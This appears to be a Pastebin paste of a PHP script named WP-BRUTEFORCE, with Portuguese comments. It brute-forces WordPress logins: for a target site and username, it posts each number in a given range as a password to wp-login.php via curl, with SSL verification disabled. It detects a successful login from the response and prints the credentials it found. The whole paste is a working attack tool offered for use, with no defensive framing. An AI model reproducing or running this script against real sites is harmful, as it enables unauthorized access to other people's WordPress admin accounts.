Advertisement
Guest User

Untitled

a guest
Aug 10th, 2017
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.82 KB | None | 0 0
  1. <?php
  2.  
  3.  /*
  4.   * Script: WP-BRUTEFORCE
  5.   * Author: Hamboldt
  6.   * E-mail: Hamboldt[at]hotmail[dot]com
  7.   *
  8.   */
  9.  
  10. function wpLogin($Login, $Senha, $Address) {
  11.  
  12.    
  13.     /*
  14.      * Arquivo para salvar us kuki
  15.      */
  16.     $CookieFile = "cookie.txt";
  17.  
  18.     /*
  19.      * Os dados que serão jogados na URL
  20.      */
  21.     $x = "log=".$Login."&pwd=".$Senha."&wp-submit=Log%20In&redirect_to=".$Address."wp-admin/&testcookie=1";
  22.  
  23.     /*
  24.      * Sessão Curl
  25.      */
  26.     $Hamboldt = curl_init();
  27.  
  28.     curl_setopt($Hamboldt, CURLOPT_URL, $Address . "wp-login.php");
  29.     curl_setopt($Hamboldt, CURLOPT_SSL_VERIFYPEER, FALSE);
  30.     curl_setopt($Hamboldt, CURLOPT_TIMEOUT, 60);
  31.     curl_setopt($Hamboldt, CURLOPT_FOLLOWLOCATION, 1);
  32.     curl_setopt($Hamboldt, CURLOPT_RETURNTRANSFER, 1);
  33.     curl_setopt($Hamboldt, CURLOPT_COOKIEJAR, $CookieFile);
  34.     curl_setopt($Hamboldt, CURLOPT_REFERER, $Address . "wp-admin/");
  35.     curl_setopt($Hamboldt, CURLOPT_POSTFIELDS, $x);
  36.     curl_setopt($Hamboldt, CURLOPT_POST, 1);
  37.  
  38.     /*
  39.      * Saida de dados
  40.      */
  41.     $out = curl_exec($Hamboldt);
  42.  
  43.     /*
  44.      * Verifica se o login foi bem sucedido
  45.      */
  46.     $rgx = preg_match('/admin-ajax.php/', $out, $match, PREG_OFFSET_CAPTURE, 14);
  47.     if($rgx) return 1;
  48. }
  49.  
  50.   /*
  51.    * Função para gerar um password randomico
  52.    */
  53.   function HamDomic ($site, $user, $inicial, $final) {
  54.    
  55.     for ($pass = $inicial; $pass <= $final; $pass++) {
  56.         if(wpLogin($user, $pass, $site))
  57.             die("\n [+] Site: $site \n [+]User: $user \n [+]Pass: $pass \n\n");
  58.     }
  59.   }
  60.     /*
  61.      * BANNER
  62.      */
  63.     system('clear');
  64.     print_r("
  65.             H A M B O L D T\n\n");
  66.  
  67.     /*
  68.      * Valores que o usuário irá dar entrada
  69.      */
  70.     $site       =   readline("  [*] Site: ");
  71.     $user       =   readline("  [*] User: ");
  72.     $inicial    =   readline("  [*] Inicial: ");
  73.     $final      =   readline("  [*] Final: ");
  74.  
  75.     /*
  76.      * Executa função
  77.      */
  78.     HamDomic($site, $user, $inicial, $final);
  79. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement